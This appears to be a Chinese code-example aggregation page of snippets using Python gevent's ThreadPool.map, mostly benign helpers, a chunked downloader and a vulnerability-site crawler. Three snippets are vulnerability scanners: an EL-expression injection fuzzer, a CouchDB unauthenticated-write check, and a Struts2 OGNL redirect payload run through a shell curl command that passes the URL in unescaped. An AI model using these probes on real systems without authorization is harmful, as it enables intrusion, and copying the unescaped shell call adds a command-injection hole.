Python ThreadPool.map方法代码示例

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
class ELExpression():
    def __init__(self):
        self.result = []
        self.pool = ThreadPool(10)
        self.q = []
        self.payload = '{1000-121}'
        self.match = '879'

    def putinqueue(self, info):
        try:

            url = info[0]
            data = info[1]
            current = data if data else url
            for k in re.finditer(r'\=(?P<value>.*?)(?:$|&)', current):
                value = k.group('value')
                payload = current.replace(value, self.payload)
                if data:
                    self.q.append((url, payload))
                else:
                    self.q.append((payload, data))
        except:
            traceback.print_exc()

    def Fuzz(self, info):
        try:
            url = info[0]
            data = info[1]
            if data:
                try:
                    r = requests.post(url, data=data, timeout=10, verify=False)
                    content = r.content
                except:
                    content = ''
            else:
                try:
                    print "Req ::" + url
                    r = requests.get(url, timeout=10, verify=False)
                    content = r.content
                except:
                    content = ''
                if self.match in content:
                    msg = 'find vulnerable url'
                    logging.info(msg)
                    self.result.append(info)
        except:
            traceback.print_exc()

    def Scan(self, info):
        try:
            if isinstance(info, tuple):
                self.putinqueue(info)
            else:
                with open(info) as f:
                    ud = json.loads(f.read())
                for i in ud:
                    self.putinqueue(i)
            self.pool.map(self.Fuzz, self.q)
        except:
            traceback.print_exc()

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
def easy_parallelize_gevent(f, sequence):
    if not "gevent_pool" in PARALLEL_STRUCTURES:
        from gevent.threadpool import ThreadPool
        pool = ThreadPool(30000)
        PARALLEL_STRUCTURES["gevent_pool"] = pool
    pool = PARALLEL_STRUCTURES["gevent_pool"]
    result = pool.map(f, sequence)
    return result

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
class CouchDb():
    def __init__(self):
        self.pool = ThreadPool(10)
        self.result = []
        self.port = "5984"
        self.q = []
        self.randomstrs = ['a', 'k', 'b', 'v', 'd', 'f', 'e', 'g']
        self.path = '_utils/index.html'

    def Fuzz(self, info):
        try:
            url = info[0]
            port = info[1]
            host = urlparse.urlparse(url).netloc
            url = r'http://' + host + ":" + port
            rstr = "".join(random.sample(self.randomstrs, 5))
            url = url + r'/' + rstr
            try:
                print "Req::" + url
                r = requests.put(url, timeout=10)
                if 'ok' and 'true' in r.content:
                    self.result.append(info)
            except:
                pass
        except:
            pass

    def Scan(self, info):
        try:
            if isinstance(info, tuple):
                self.q.append(info)
            else:
                with open(file) as f:
                    content = json.loads(f.read())
                    for i in content:
                        self.q.append((i['url'], self.port))
            self.pool.map(self.Fuzz, self.q)
        except:
            traceback.print_exc()

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
class st2bypass():
    def __init__(self):
        self.result = []
        self.pool = ThreadPool(10)
        self.q = []

    def action(self, info):
        try:
            if '.do' or '.action' in info:
                url = info.split('?')[0]
                self.q.append(url)
        except:
            traceback.print_exc()

    def Fuzz(self, url):
        try:
            cmd = '''curl -i "%s" -F 'redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}=-1' ''' % url
            print cmd
            output = os.popen(cmd).read()
            for i in re.finditer(r'\:\/\/.*\/\/(?P<path>'
                                 r'.*?)/;', output):
                path = i.group('path')
                if path:
                    self.result.append(path)
        except:
            traceback.print_exc()

    def Scan(self, info):
        try:
            if isinstance(info, str):
                self.action(info)
            else:
                for i in info:
                    self.action(i['url'])
            self.pool.map(self.Fuzz, self.q)
        except:
            traceback.print_exc()

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
def download(url, output, 
        thread_count = defaults['thread_count'], 
        buffer_size = defaults['buffer_size'], 
        block_size = defaults['block_size']):
    # get latest file info
    file_info = get_file_info(url)

    # init path
    if output is None:
        output = file_info.name
    workpath = '%s.ing' % output
    infopath = '%s.inf' % output

    # split file to blocks. every block is a array [start, offset, end],
    # then each greenlet download filepart according to a block, and 
    # update the block' offset.
    blocks = []

    if os.path.exists(infopath):
        # load blocks
        _x, blocks = read_data(infopath)        
        if (_x.url != url or 
                _x.name != file_info.name or 
                _x.lastmodified != file_info.lastmodified):
            blocks = []

    if len(blocks) == 0:
        # set blocks
        if block_size > file_info.size:
            blocks = [[0, 0, file_info.size]]
        else:
            block_count, remain = divmod(file_info.size, block_size)
            blocks = [[i*block_size, i*block_size, (i+1)*block_size-1] for i in range(block_count)]
            blocks[-1][-1] += remain
        # create new blank workpath
        with open(workpath, 'wb') as fobj:
            fobj.write('')

    # start monitor
    monitor = gevent.spawn(_monitor, infopath, file_info, blocks)
    
    # start downloading
    with open(workpath, 'rb+') as fobj:
        args = [(url, blocks[i], fobj, buffer_size) for i in range(len(blocks)) if blocks[i][1] < blocks[i][2]]

        if thread_count > len(args):
            thread_count = len(args)

        pool = ThreadPool(thread_count)
        pool.map(_worker, args)
        pool.join()

    monitor.join()

    # rename workpath to output
    if os.path.exists(output):
        os.remove(output)
    os.rename(workpath, output)

    # delete infopath
    if os.path.exists(infopath):
        os.remove(infopath)

    print 'thread_count ', thread_count

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
class Cloud:
    def __init__(self):
        self.pool = ThreadPool(POOL_THREADS)
        self.bugs = []
        self.have_content = True
        pass

    def get_one_page(self, page_id):
        print('[*] Crawl Page: {0}'.format(str(page_id)))
        page_url = WOOYUN_CONFIRM + str(page_id)
        while True:
            try:
                req = requests.get(page_url, headers=HEADER, timeout=15)
                if req.status_code == 200:
                    break
            except Exception as e:
                print('[-] Page: {0} Get Error: {1}'.format(str(page_id), str(e)))
        self.analyse_content(req.text)

    def analyse_content(self, content):
        try:
            reg_pattern = '<tr>\s(.*)\s(.*)\s(.*)\s(.*)\s(.*)\s(.*)\s'
            tmp = re.findall(reg_pattern, content)
            if len(tmp) <= 1:
                self.have_content = False
                return
            for tmp_one in tmp:
                # print(tmp_one)
                bug_info = {}
                reg_pattern = '<th>(.*?)</th>'
                bug_date = re.findall(reg_pattern, tmp_one[1])
                if len(bug_date) > 0:
                    bug_info['date'] = bug_date[0]
                    reg_pattern = '<a href="/bugs/(.*?)">(.*?)</a>'
                    bug_info_tmp = re.findall(reg_pattern, tmp_one[2])
                    bug_info_tmp = bug_info_tmp[0]
                    bug_info['id'] = bug_info_tmp[0]
                    bug_info['name'] = bug_info_tmp[1]
                    self.get_bug_detail(bug_info_tmp[0], bug_info)
                    self.bugs.append(bug_info)
        except Exception as e:
            print('[-] Analyse Error! Detail: {0}'.format(str(e)))

    @staticmethod
    def get_bug_detail(bug_id, bug_info):
        page_url = WOOYUN_BUG_DETAIL + str(bug_id)
        while True:
            try:
                req = requests.get(page_url, headers=HEADER, timeout=15)
                if req.status_code == 200:
                    break
            except Exception as e:
                print('[-] BUG: {0} Get Error: {1}'.format(str(bug_id), str(e)))
        content = req.text
        reg_pattern = '<p class="detail">漏洞Rank：(.*?)</p>'
        bug_info_tmp = re.findall(reg_pattern, content)
        bug_info['rank'] = bug_info_tmp[0].strip()
        reg_pattern = '<h3 class=\'wybug_corp\'>相关厂商：(.*)\s(.*?)</a>'
        bug_info_tmp = re.findall(reg_pattern, content)
        bug_info['corp'] = bug_info_tmp[0][0].strip() + bug_info_tmp[0][1].strip()

    def start(self):
        i_count = 1
        while self.have_content:
            self.pool.map(self.get_one_page, [x for x in range(i_count, i_count + 50)])
            gevent.wait()
            i_count += 50
        print(self.bugs)
        file_handle = open('wy_no_1.csv', 'w')
        file_handle.write('bug_id, rank, name, corp, date\n')
        for one_bug in self.bugs:
            file_handle.write('{0}, {1}, {2}, {3}, {4}\n'.
                              format(one_bug['id'], one_bug['rank'], one_bug['name'], one_bug['corp'], one_bug['date']))
            print(one_bug)
        file_handle.close()

# 需要导入模块: from gevent.threadpool import ThreadPool [as 别名]
# 或者: from gevent.threadpool.ThreadPool import map [as 别名]
print('Unordered')

igroup = Group()
for i in igroup.imap_unordered(intensive, xrange(3)):
    print(i)


import gevent
from gevent.pool import Pool

pool = Pool(2)

def hello_from(n):
    print('Size of pool %s' % len(pool))

pool.map(hello_from, xrange(3))



from gevent.pool import Pool

class SocketPool(object):

    def __init__(self):
        self.pool = Pool(1000)
        self.pool.start()

    def listen(self, socket):
        while True:
            socket.recv()